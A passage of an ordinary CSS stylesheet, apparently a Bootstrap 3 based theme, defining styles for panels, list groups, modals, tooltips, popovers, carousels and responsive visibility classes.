		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
	background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%,
		transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
}

.progress-bar-danger {
	background-color: #d9534f;
}

.progress-striped .progress-bar-danger {
	background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15)
		25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
	background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%,
		transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%,
		rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent );
}

.media,.media-body {
	overflow: hidden;
	zoom: 1;
}

.media-body {
	padding-left: 10px;
}

.media,.media .media {
	margin-top: 15px;
}

.comments-box .media {
	margin-top: 25px;
}

.media:first-child {
	margin-top: 0;
}

.media-object {
	display: block;
}

img.media-object {
	border-radius: 50%;
}

.media-heading {
	margin: 0 0 5px;
}

.media>.pull-left {
	margin-right: 10px;
}

.media>.pull-right {
	margin-left: 10px;
}

.media-list {
	padding-left: 0;
	list-style: none;
}

.list-group {
	padding-left: 0;
	margin-bottom: 20px;
}

.list-group-item {
	position: relative;
	display: block;
	padding: 10px 15px;
	margin-bottom: -1px;
	background-color: #ffffff;
	border: 1px solid #dddddd;
}

.list-group-item:first-child {
	border-top-right-radius: 4px;
	border-top-left-radius: 4px;
}

.list-group-item:last-child {
	margin-bottom: 0;
	border-bottom-right-radius: 4px;
	border-bottom-left-radius: 4px;
}

.list-group-item>.badge {
	float: right;
}

.list-group-item>.badge+.badge {
	margin-right: 5px;
}

a.list-group-item {
	color: #555555;
}

a.list-group-item .list-group-item-heading {
	color: #333333;
}

a.list-group-item:hover,a.list-group-item:focus {
	text-decoration: none;
	background-color: #f5f5f5;
}

a.list-group-item.active,a.list-group-item.active:hover,a.list-group-item.active:focus
	{
	z-index: 2;
	color: #ffffff;
	background-color: #428bca;
	border-color: #428bca;
}

a.list-group-item.active .list-group-item-heading,a.list-group-item.active:hover .list-group-item-heading,a.list-group-item.active:focus .list-group-item-heading
	{
	color: inherit;
}

a.list-group-item.active .list-group-item-text,a.list-group-item.active:hover .list-group-item-text,a.list-group-item.active:focus .list-group-item-text
	{
	color: #e1edf7;
}

.list-group-item-heading {
	margin-top: 0;
	margin-bottom: 5px;
}

.list-group-item-text {
	margin-bottom: 0;
	line-height: 1.3;
}

.panel {
	margin-bottom: 20px;
	background-color: #ffffff;
	border: 1px solid transparent;
	border-radius: 4px;
	-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);
}

.panel-body {
	padding: 15px;
}

.panel-body:before,.panel-body:after {
	display: table;
	content: " ";
}

.panel-body:after {
	clear: both;
}

.panel-body:before,.panel-body:after {
	display: table;
	content: " ";
}

.panel-body:after {
	clear: both;
}

.panel>.list-group {
	margin-bottom: 0;
}

.panel>.list-group .list-group-item {
	border-width: 1px 0;
}

.panel>.list-group .list-group-item:first-child {
	border-top-right-radius: 0;
	border-top-left-radius: 0;
}

.panel>.list-group .list-group-item:last-child {
	border-bottom: 0;
}

.panel-heading+.list-group .list-group-item:first-child {
	border-top-width: 0;
}

.panel>.table,.panel>.table-responsive>.table {
	margin-bottom: 0;
}

.panel>.panel-body+.table,.panel>.panel-body+.table-responsive {
	border-top: 1px solid #dddddd;
}

.panel>.table>tbody:first-child th,.panel>.table>tbody:first-child td {
	border-top: 0;
}

.panel>.table-bordered,.panel>.table-responsive>.table-bordered {
	border: 0;
}

.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child
	{
	border-left: 0;
}

.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child
	{
	border-right: 0;
}

.panel>.table-bordered>thead>tr:last-child>th,.panel>.table-responsive>.table-bordered>thead>tr:last-child>th,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th,.panel>.table-bordered>thead>tr:last-child>td,.panel>.table-responsive>.table-bordered>thead>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td
	{
	border-bottom: 0;
}

.panel>.table-responsive {
	margin-bottom: 0;
	border: 0;
}

.panel-heading {
	padding: 10px 15px;
	border-bottom: 1px solid transparent;
	border-top-right-radius: 3px;
	border-top-left-radius: 3px;
}

.panel-heading>.dropdown .dropdown-toggle {
	color: inherit;
}

.panel-title {
	margin-top: 0;
	margin-bottom: 0;
	font-size: 16px;
	color: inherit;
}

.panel-title>a {
	color: inherit;
}

.panel-footer {
	padding: 10px 15px;
	background-color: #f5f5f5;
	border-top: 1px solid #dddddd;
	border-bottom-right-radius: 3px;
	border-bottom-left-radius: 3px;
}

.panel-group .panel {
	margin-bottom: 0;
	overflow: hidden;
	border-radius: 4px;
}

.panel-group .panel+.panel {
	margin-top: 5px;
}

.panel-group .panel-heading {
	border-bottom: 0;
}

.panel-group .panel-heading+.panel-collapse .panel-body {
	border-top: 1px solid #dddddd;
}

.panel-group .panel-footer {
	border-top: 0;
}

.panel-group .panel-footer+.panel-collapse .panel-body {
	border-bottom: 1px solid #dddddd;
}

.panel-default {
	border-color: #dddddd;
}

.panel-default>.panel-heading {
	color: #6d6f75;
	background: #fdfdfd;
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) );
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 );
	border-color: #e4e4e4;
	box-shadow: 0 1px 2px #E7EBEC;
}

.panel-default>.panel-heading+.panel-collapse .panel-body {
	border-top-color: #dddddd;
}

.panel-default>.panel-footer+.panel-collapse .panel-body {
	border-bottom-color: #dddddd;
}

.panel-primary {
	border-color: #428bca;
}

.panel-primary>.panel-heading {
	color: #ffffff;
	background-color: #428bca;
	border-color: #428bca;
}

.panel-primary>.panel-heading+.panel-collapse .panel-body {
	border-top-color: #428bca;
}

.panel-primary>.panel-footer+.panel-collapse .panel-body {
	border-bottom-color: #428bca;
}

.panel-success {
	border-color: #d6e9c6;
}

.panel-success>.panel-heading {
	color: #3c763d;
	background-color: #dff0d8;
	border-color: #d6e9c6;
}

.panel-success>.panel-heading+.panel-collapse .panel-body {
	border-top-color: #d6e9c6;
}

.panel-success>.panel-footer+.panel-collapse .panel-body {
	border-bottom-color: #d6e9c6;
}

.panel-warning {
	border-color: #faebcc;
}

.panel-warning>.panel-heading {
	color: #8a6d3b;
	background-color: #fcf8e3;
	border-color: #faebcc;
}

.panel-warning>.panel-heading+.panel-collapse .panel-body {
	border-top-color: #faebcc;
}

.panel-warning>.panel-footer+.panel-collapse .panel-body {
	border-bottom-color: #faebcc;
}

.panel-danger {
	border-color: #ebccd1;
}

.panel-danger>.panel-heading {
	color: #a94442;
	background-color: #f2dede;
	border-color: #ebccd1;
}

.panel-danger>.panel-heading+.panel-collapse .panel-body {
	border-top-color: #ebccd1;
}

.panel-danger>.panel-footer+.panel-collapse .panel-body {
	border-bottom-color: #ebccd1;
}

.panel-info {
	border-color: #bce8f1;
}

.panel-info>.panel-heading {
	color: #31708f;
	background-color: #d9edf7;
	border-color: #bce8f1;
}

.panel-info>.panel-heading+.panel-collapse .panel-body {
	border-top-color: #bce8f1;
}

.panel-info>.panel-footer+.panel-collapse .panel-body {
	border-bottom-color: #bce8f1;
}

.well {
	min-height: 20px;
	padding: 10px 13px;
	margin-bottom: 10px;
	background-color: #f2f3f3;
	border-radius: 2px;
}

.well blockquote {
	border-color: #ddd;
	border-color: rgba(0, 0, 0, 0.15);
}

.well-lg {
	padding: 18px;
	border-radius: 2px;
}

.well-sm {
	padding: 4px 9px;
	border-radius: 3px;
}

.close {
	float: right;
	font-size: 21px;
	font-weight: bold;
	line-height: 1;
	color: #000000;
	text-shadow: 0 1px 0 #ffffff;
	opacity: 0.2;
	filter: alpha(opacity = 20);
}

.close:hover,.close:focus {
	color: #000000;
	text-decoration: none;
	cursor: pointer;
	opacity: 0.5;
	filter: alpha(opacity = 50);
}

button.close {
	padding: 0;
	cursor: pointer;
	background: transparent;
	border: 0;
	-webkit-appearance: none;
}

.modal-open {
	overflow: hidden;
}

.modal {
	position: fixed;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	z-index: 9999;
	display: none;
	overflow: auto;
	overflow-y: scroll;
}

.modal.fade .modal-dialog {
	-webkit-transform: translate(0, -25%);
	-ms-transform: translate(0, -25%);
	transform: translate(0, -25%);
	-webkit-transition: -webkit-transform 0.3s ease-out;
	-moz-transition: -moz-transform 0.3s ease-out;
	-o-transition: -o-transform 0.3s ease-out;
	transition: transform 0.3s ease-out;
}

.modal.in .modal-dialog {
	-webkit-transform: translate(0, 0);
	-ms-transform: translate(0, 0);
	transform: translate(0, 0);
}

.modal-dialog {
	position: relative;
	z-index: 1050;
	width: auto;
	margin: 10px;
}

.modal-content {
	position: relative;
	background-color: #ffffff;
	border: 1px solid #999999;
	border: 1px solid rgba(0, 0, 0, 0.2);
	outline: none;
	-webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
	box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);
	background-clip: padding-box;
}

.modal-backdrop {
	position: fixed;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	z-index: 1030;
	background-color: #000000;
}

.modal-backdrop.fade {
	opacity: 0;
	filter: alpha(opacity = 0);
}

.modal-backdrop.in {
	opacity: 0.5;
	filter: alpha(opacity = 50);
}

.modal-header {
	min-height: 16.428571429px;
	padding: 15px;
	border-bottom: 1px solid #e5e5e5;
}

.modal-header .close {
	margin-top: -2px;
}

.modal-title {
	margin: 0;
	line-height: 1.428571429;
}

.modal-body {
	position: relative;
	padding: 20px;
}

.modal-footer {
	padding: 19px 20px 20px;
	margin-top: 15px;
	text-align: right;
	border-top: 1px solid #e5e5e5;
}

.modal-footer:before,.modal-footer:after {
	display: table;
	content: " ";
}

.modal-footer:after {
	clear: both;
}

.modal-footer:before,.modal-footer:after {
	display: table;
	content: " ";
}

.modal-footer:after {
	clear: both;
}

.modal-footer .btn+.btn {
	margin-bottom: 0;
	margin-left: 5px;
}

.modal-footer .btn-group .btn+.btn {
	margin-left: -1px;
}

.modal-footer .btn-block+.btn-block {
	margin-left: 0;
}

@media screen and (min-width: 768px) {
	.modal-dialog {
		width: 700px;
		margin: 30px auto;
	}
	.modal-content {
		-webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);
		box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);
	}
}

.tooltip {
	position: absolute;
	z-index: 1030;
	display: block;
	font-size: 12px;
	line-height: 1.4;
	opacity: 0;
	filter: alpha(opacity = 0);
	visibility: visible;
}

.tooltip.in {
	opacity: 0.9;
	filter: alpha(opacity = 90);
}

.tooltip.top {
	padding: 5px 0;
	margin-top: -3px;
}

.tooltip.right {
	padding: 0 5px;
	margin-left: 3px;
}

.tooltip.bottom {
	padding: 5px 0;
	margin-top: 3px;
}

.tooltip.left {
	padding: 0 5px;
	margin-left: -3px;
}

.tooltip-inner {
	max-width: 200px;
	padding: 3px 8px;
	color: #ffffff;
	text-align: center;
	text-decoration: none;
	background-color: #000000;
	border-radius: 4px;
}

.tooltip-arrow {
	position: absolute;
	width: 0;
	height: 0;
	border-color: transparent;
	border-style: solid;
}

.tooltip.top .tooltip-arrow {
	bottom: 0;
	left: 50%;
	margin-left: -5px;
	border-top-color: #000000;
	border-width: 5px 5px 0;
}

.tooltip.top-left .tooltip-arrow {
	bottom: 0;
	left: 5px;
	border-top-color: #000000;
	border-width: 5px 5px 0;
}

.tooltip.top-right .tooltip-arrow {
	right: 5px;
	bottom: 0;
	border-top-color: #000000;
	border-width: 5px 5px 0;
}

.tooltip.right .tooltip-arrow {
	top: 50%;
	left: 0;
	margin-top: -5px;
	border-right-color: #000000;
	border-width: 5px 5px 5px 0;
}

.tooltip.left .tooltip-arrow {
	top: 50%;
	right: 0;
	margin-top: -5px;
	border-left-color: #000000;
	border-width: 5px 0 5px 5px;
}

.tooltip.bottom .tooltip-arrow {
	top: 0;
	left: 50%;
	margin-left: -5px;
	border-bottom-color: #000000;
	border-width: 0 5px 5px;
}

.tooltip.bottom-left .tooltip-arrow {
	top: 0;
	left: 5px;
	border-bottom-color: #000000;
	border-width: 0 5px 5px;
}

.tooltip.bottom-right .tooltip-arrow {
	top: 0;
	right: 5px;
	border-bottom-color: #000000;
	border-width: 0 5px 5px;
}

.popover {
	position: absolute;
	top: 0;
	left: 0;
	z-index: 1010;
	display: none;
	max-width: 276px;
	padding: 1px;
	text-align: left;
	white-space: normal;
	background-color: #ffffff;
	border: 1px solid #cccccc;
	border: 1px solid rgba(0, 0, 0, 0.2);
	border-radius: 6px;
	-webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
	box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
	background-clip: padding-box;
}

.popover.top {
	margin-top: -10px;
}

.popover.right {
	margin-left: 10px;
}

.popover.bottom {
	margin-top: 10px;
}

.popover.left {
	margin-left: -10px;
}

.popover-title {
	padding: 8px 14px;
	margin: 0;
	font-size: 14px;
	font-weight: normal;
	line-height: 18px;
	background-color: #f7f7f7;
	border-bottom: 1px solid #ebebeb;
	border-radius: 5px 5px 0 0;
}

.popover-content {
	padding: 9px 14px;
}

.popover .arrow,.popover .arrow:after {
	position: absolute;
	display: block;
	width: 0;
	height: 0;
	border-color: transparent;
	border-style: solid;
}

.popover .arrow {
	border-width: 11px;
}

.popover .arrow:after {
	border-width: 10px;
	content: "";
}

.popover.top .arrow {
	bottom: -11px;
	left: 50%;
	margin-left: -11px;
	border-top-color: #999999;
	border-top-color: rgba(0, 0, 0, 0.25);
	border-bottom-width: 0;
}

.popover.top .arrow:after {
	bottom: 1px;
	margin-left: -10px;
	border-top-color: #ffffff;
	border-bottom-width: 0;
	content: " ";
}

.popover.right .arrow {
	top: 50%;
	left: -11px;
	margin-top: -11px;
	border-right-color: #999999;
	border-right-color: rgba(0, 0, 0, 0.25);
	border-left-width: 0;
}

.popover.right .arrow:after {
	bottom: -10px;
	left: 1px;
	border-right-color: #ffffff;
	border-left-width: 0;
	content: " ";
}

.popover.bottom .arrow {
	top: -11px;
	left: 50%;
	margin-left: -11px;
	border-bottom-color: #999999;
	border-bottom-color: rgba(0, 0, 0, 0.25);
	border-top-width: 0;
}

.popover.bottom .arrow:after {
	top: 1px;
	margin-left: -10px;
	border-bottom-color: #ffffff;
	border-top-width: 0;
	content: " ";
}

.popover.left .arrow {
	top: 50%;
	right: -11px;
	margin-top: -11px;
	border-left-color: #999999;
	border-left-color: rgba(0, 0, 0, 0.25);
	border-right-width: 0;
}

.popover.left .arrow:after {
	right: 1px;
	bottom: -10px;
	border-left-color: #ffffff;
	border-right-width: 0;
	content: " ";
}

.carousel {
	position: relative;
}

.carousel-inner {
	position: relative;
	width: 100%;
	overflow: hidden;
}

.carousel-inner>.item {
	position: relative;
	display: none;
	-webkit-transition: 0.6s ease-in-out left;
	transition: 0.6s ease-in-out left;
}

.carousel-inner>.item>img,.carousel-inner>.item>a>img {
	display: block;
	height: auto;
	max-width: 100%;
	line-height: 1;
}

.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev {
	display: block;
}

.carousel-inner>.active {
	left: 0;
}

.carousel-inner>.next,.carousel-inner>.prev {
	position: absolute;
	top: 0;
	width: 100%;
}

.carousel-inner>.next {
	left: 100%;
}

.carousel-inner>.prev {
	left: -100%;
}

.carousel-inner>.next.left,.carousel-inner>.prev.right {
	left: 0;
}

.carousel-inner>.active.left {
	left: -100%;
}

.carousel-inner>.active.right {
	left: 100%;
}

.carousel-control {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	width: 5%;
	font-size: 20px;
	color: #ffffff;
	text-align: center;
	text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);
	opacity: 0.5;
	filter: alpha(opacity = 50);
}

.carousel-control.left {
	background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.5)
		0 ), color-stop(rgba(0, 0, 0, 0.0001) 100% ) );
	background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0,
		rgba(0, 0, 0, 0.0001) 100% );
	background-repeat: repeat-x;
	filter: progid : DXImageTransform.Microsoft.gradient ( startColorstr =
		'#80000000', endColorstr = '#00000000', GradientType = 1 );
}

.carousel-control.right {
	right: 0;
	left: auto;
	background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.0001)
		0 ), color-stop(rgba(0, 0, 0, 0.5) 100% ) );
	background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0,
		rgba(0, 0, 0, 0.5) 100% );
	background-repeat: repeat-x;
	filter: progid : DXImageTransform.Microsoft.gradient ( startColorstr =
		'#00000000', endColorstr = '#80000000', GradientType = 1 );
}

.carousel-control:hover,.carousel-control:focus {
	color: #ffffff;
	text-decoration: none;
	outline: none;
	opacity: 0.9;
	filter: alpha(opacity = 90);
}

.carousel-control .icon-prev,.carousel-control .icon-next,.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right
	{
	position: absolute;
	top: 50%;
	z-index: 5;
	display: inline-block;
}

.carousel-control .icon-prev,.carousel-control .glyphicon-chevron-left {
	left: 50%;
}

.carousel-control .icon-next,.carousel-control .glyphicon-chevron-right
	{
	right: 50%;
}

.carousel-control .icon-prev,.carousel-control .icon-next {
	width: 20px;
	height: 20px;
	margin-top: -10px;
	margin-left: -10px;
	font-family: serif;
}

.carousel-control .icon-prev:before {
	content: '\2039';
}

.carousel-control .icon-next:before {
	content: '\203a';
}

.carousel-indicators {
	position: absolute;
	bottom: 10px;
	left: 50%;
	z-index: 15;
	width: 60%;
	padding-left: 0;
	margin-left: -30%;
	text-align: center;
	list-style: none;
}

.carousel-indicators li {
	display: inline-block;
	width: 10px;
	height: 10px;
	margin: 1px;
	text-indent: -999px;
	cursor: pointer;
	background-color: #000 \9;
	background-color: rgba(0, 0, 0, 0);
	border: 1px solid #ffffff;
	border-radius: 10px;
}

.carousel-indicators .active {
	width: 12px;
	height: 12px;
	margin: 0;
	background-color: #ffffff;
}

.carousel-caption {
	position: absolute;
	right: 15%;
	bottom: 20px;
	left: 15%;
	z-index: 10;
	padding-top: 20px;
	padding-bottom: 20px;
	color: #ffffff;
	text-align: center;
	text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);
}

.carousel-caption .btn {
	text-shadow: none;
}

@media screen and (min-width: 768px) {
	.carousel-control .glyphicons-chevron-left,.carousel-control .glyphicons-chevron-right,.carousel-control .icon-prev,.carousel-control .icon-next
		{
		width: 30px;
		height: 30px;
		margin-top: -15px;
		margin-left: -15px;
		font-size: 30px;
	}
	.carousel-caption {
		right: 20%;
		left: 20%;
		padding-bottom: 30px;
	}
	.carousel-indicators {
		bottom: 20px;
	}
}

.clearfix:before,.clearfix:after {
	display: table;
	content: " ";
}

.clearfix:after {
	clear: both;
}

.center-block {
	display: block;
	margin-right: auto;
	margin-left: auto;
}

.pull-right {
	float: right !important;
}

.pull-left {
	float: left !important;
}

.hide {
	display: none !important;
}

.show {
	display: block !important;
}

.invisible {
	visibility: hidden;
}

.text-hide {
	font: 0/0 a;
	color: transparent;
	text-shadow: none;
	background-color: transparent;
	border: 0;
}

.hidden {
	display: none !important;
	visibility: hidden !important;
}

.affix {
	position: fixed;
	width: inherit;
}

@
-ms-viewport {
	width: device-width;
}

.visible-xs,tr.visible-xs,th.visible-xs,td.visible-xs {
	display: none !important;
}

@media ( max-width : 767px) {
	.visible-xs {
		display: block !important;
	}
	table.visible-xs {
		display: table;
	}
	tr.visible-xs {
		display: table-row !important;
	}
	th.visible-xs,td.visible-xs {
		display: table-cell !important;
	}
}

@media ( min-width : 768px) and (max-width: 991px) {
	.visible-xs.visible-sm {
		display: block !important;
	}
	table.visible-xs.visible-sm {
		display: table;
	}
	tr.visible-xs.visible-sm {
		display: table-row !important;
	}
	th.visible-xs.visible-sm,td.visible-xs.visible-sm {
		display: table-cell !important;
	}
}

@media ( min-width : 992px) and (max-width: 1199px) {
	.visible-xs.visible-md {
		display: block !important;
	}
	table.visible-xs.visible-md {
		display: table;
	}
	tr.visible-xs.visible-md {
		display: table-row !important;
	}
	th.visible-xs.visible-md,td.visible-xs.visible-md {
		display: table-cell !important;
	}
}

@media ( min-width : 1200px) {
	.visible-xs.visible-lg {
		display: block !important;
	}
	table.visible-xs.visible-lg {
		display: table;
	}
	tr.visible-xs.visible-lg {
		display: table-row !important;
	}
	th.visible-xs.visible-lg,td.visible-xs.visible-lg {
		display: table-cell !important;
	}
}

.visible-sm,tr.visible-sm,th.visible-sm,td.visible-sm {
	display: none !important;
}

@media ( max-width : 767px) {
	.visible-sm.visible-xs {
		display: block !important;
	}
	table.visible-sm.visible-xs {
		display: table;
	}
	tr.visible-sm.visible-xs {
		display: table-row !important;
	}
	th.visible-sm.visible-xs,td.visible-sm.visible-xs {
		display: table-cell !important;
	}
}

@media ( min-width : 768px) and (max-width: 991px) {
	.visible-sm {
		display: block !important;
	}
	table.visible-sm {
		display: table;
	}
	tr.visible-sm {
		display: table-row !important;
	}
	th.visible-sm,td.visible-sm {
		display: table-cell !important;
	}
}

@media ( min-width : 992px) and (max-width: 1199px) {
	.visible-sm.visible-md {
		display: block !important;
	}
	table.visible-sm.visible-md {
		display: table;
	}
	tr.visible-sm.visible-md {
		display: table-row !important;
	}
	th.visible-sm.visible-md,td.visible-sm.visible-md {
		display: table-cell !important;
	}
}

@media ( min-width : 1200px) {
	.visible-sm.visible-lg {
		display: block !important;
	}
	table.visible-sm.visible-lg {
		display: table;
	}
	tr.visible-sm.visible-lg {
		display: table-row !important;
	}
	th.visible-sm.visible-lg,td.visible-sm.visible-lg {
		display: table-cell !important;
	}
}

.visible-md,tr.visible-md,th.visible-md,td.visible-md {
	display: none !important;
}

@media ( max-width : 767px) {
	.visible-md.visible-xs {
		display: block !important;
	}
	table.visible-md.visible-xs {
		display: table;
	}
	tr.visible-md.visible-xs {
		display: table-row !important;
	}
	th.visible-md.visible-xs,td.visible-md.visible-xs {
		display: table-cell !important;
	}
}

@media ( min-width : 768px) and (max-width: 991px) {
	.visible-md.visible-sm {
		display: block !important;
	}
	table.visible-md.visible-sm {
		display: table;
	}
	tr.visible-md.visible-sm {
		display: table-row !important;
	}
	th.visible-md.visible-sm,td.visible-md.visible-sm {
		display: table-cell !important;
	}
}

@media ( min-width : 992px) and (max-width: 1199px) {
	.visible-md {
		display: block !important;
	}
	table.visible-md {
		display: table;
	}
	tr.visible-md {
		display: table-row !important;
	}
	th.visible-md,td.visible-md {
		display: table-cell !important;
	}
}

@media ( min-width : 1200px) {
	.visible-md.visible-lg {
		display: block !important;
	}
	table.visible-md.visible-lg {
		display: table;
	}
	tr.visible-md.visible-lg {
		display: table-row !important;
	}
	th.visible-md.visible-lg,td.visible-md.visible-lg {
		display: table-cell !important;
	}
}

.visible-lg,tr.visible-lg,th.visible-lg,td.visible-lg {
	display: none !important;
}

@media ( max-width : 767px) {
	.visible-lg.visible-xs {
		display: block !important;
	}
	table.visible-lg.visible-xs {
		display: table;
	}
	tr.visible-lg.visible-xs {
		display: table-row !important;
	}
	th.visible-lg.visible-xs,td.visible-lg.visible-xs {
		display: table-cell !important;
	}
}

@media ( min-width : 768px) and (max-width: 991px) {
	.visible-lg.visible-sm {
		display: block !important;
	}
	table.visible-lg.visible-sm {
		display: table;
	}
	tr.visible-lg.visible-sm {
		display: table-row !important;
	}
	th.visible-lg.visible-sm,td.visible-lg.visible-sm {
		display: table-cell !important;
	}
}

@media ( min-width : 992px) and (max-width: 1199px) {
	.visible-lg.visible-md {
		display: block !important;
	}
	table.visible-lg.visible-md {
		display: table;
	}
	tr.visible-lg.visible-md {
		display: table-row !important;
	}
	th.visible-lg.visible-md,td.visible-lg.visible-md {
		display: table-cell !important;
	}
}

@media ( min-width : 1200px) {
	.visible-lg {
		display: block !important;
	}
	table.visible-lg {
		display: table;
	}
	tr.visible-lg {
		display: table-row !important;
	}
	th.visible-lg,td.visible-lg {
		display: table-cell !important;
	}
}

.hidden-xs {
	display: block !important;
}

table.hidden-xs {
	display: table;
}

tr.hidden-xs {
	display: table-row !important;
}

th.hidden-xs,td.hidden-xs {
	display: table-cell !important;
}

@media ( max-width : 767px) {
	.hidden-xs,tr.hidden-xs,th.hidden-xs,td.hidden-xs {
		display: none !important;
	}
}

@media ( min-width : 768px) and (max-width: 991px) {
	.hidden-xs.hidden-sm,tr.hidden-xs.hidden-sm,th.hidden-xs.hidden-sm,td.hidden-xs.hidden-sm
		{
		display: none !important;
	}
}

@media ( min-width : 992px) and (max-width: 1199px) {
	.hidden-xs.hidden-md,tr.hidden-xs.hidden-md,th.hidden-xs.hidden-md,td.hidden-xs.hidden-md
		{
		display: none !important;
	}
}

@media ( min-width : 1200px) {
	.hidden-xs.hidden-lg,tr.hidden-xs.hidden-lg,th.hidden-xs.hidden-lg,td.hidden-xs.hidden-lg
		{
		display: none !important;
	}
}

.hidden-sm {
	display: block !important;
}

table.hidden-sm {
	display: table;
}

tr.hidden-sm {
	display: table-row !important;
}

th.hidden-sm,td.hidden-sm {
	display: table-cell !important;
}

@media ( max-width : 767px) {
	.hidden-sm.hidden-xs,tr.hidden-sm.hidden-xs,th.hidden-sm.hidden-xs,td.hidden-sm.hidden-xs
		{
		display: none !important;
	}
}

@media ( min-width : 768px) and (max-width: 991px) {
	.hidden-sm,tr.hidden-sm,th.hidden-sm,td.hidden-sm {
		display: none !important;
	}
}

@media ( min-width : 992px) and (max-width: 1199px) {
	.hidden-sm.hidden-md,tr.hidden-sm.hidden-md,th.hidden-sm.hidden-md,td.hidden-sm.hidden-md
		{
		display: none !important;
	}
}

@media ( min-width : 1200px) {
	.hidden-sm.hidden-lg,tr.hidden-sm.hidden-lg,th.hidden-sm.hidden-lg,td.hidden-sm.hidden-lg
		{
		display: none !important;
	}
}

.hidden-md {
	display: block !important;
}

table.hidden-md {
	display: table;
}

tr.hidden-md {
	display: table-row !important;
}

th.hidden-md,td.hidden-md {
	display: table-cell !important;
}

@media ( max-width : 767px) {
	.hidden-md.hidden-xs,tr.hidden-md.hidden-xs,th.hidden-md.hidden-xs,td.hidden-md.hidden-xs
		{
		display: none !important;
	}
}

@media ( min-width : 768px) and (max-width: 991px) {
	.hidden-md.hidden-sm,tr.hidden-md.hidden-sm,th.hidden-md.hidden-sm,td.hidden-md.hidden-sm
		{
		display: none !important;
	}
}

@media ( min-width : 992px) and (max-width: 1199px) {
	.hidden-md,tr.hidden-md,th.hidden-md,td.hidden-md {
		display: none !important;
	}
}

@media ( min-width : 1200px) {
	.hidden-md.hidden-lg,tr.hidden-md.hidden-lg,th.hidden-md.hidden-lg,td.hidden-md.hidden-lg
		{
		display: none !important;
	}
}

.hidden-lg {
	display: block !important;
}

table.hidden-lg {
	display: table;
}

tr.hidden-lg {
	display: table-row !important;
}

th.hidden-lg,td.hidden-lg {
	display: table-cell !important;
}

@media ( max-width : 767px) {
	.hidden-lg.hidden-xs,tr.hidden-lg.hidden-xs,th.hidden-lg.hidden-xs,td.hidden-lg.hidden-xs
		{
		display: none !important;
	}
}

@media ( min-width : 768px) and (max-width: 991px) {
	.hidden-lg.hidden-sm,tr.hidden-lg.hidden-sm,th.hidden-lg.hidden-sm,td.hidden-lg.hidden-sm
		{
		display: none !important;
	}
}

@media ( min-width : 992px) and (max-width: 1199px) {
	.hidden-lg.hidden-md,tr.hidden-lg.hidden-md,th.hidden-lg.hidden-md,td.hidden-lg.hidden-md
		{
		display: none !important;
	}
}

@media ( min-width : 1200px) {
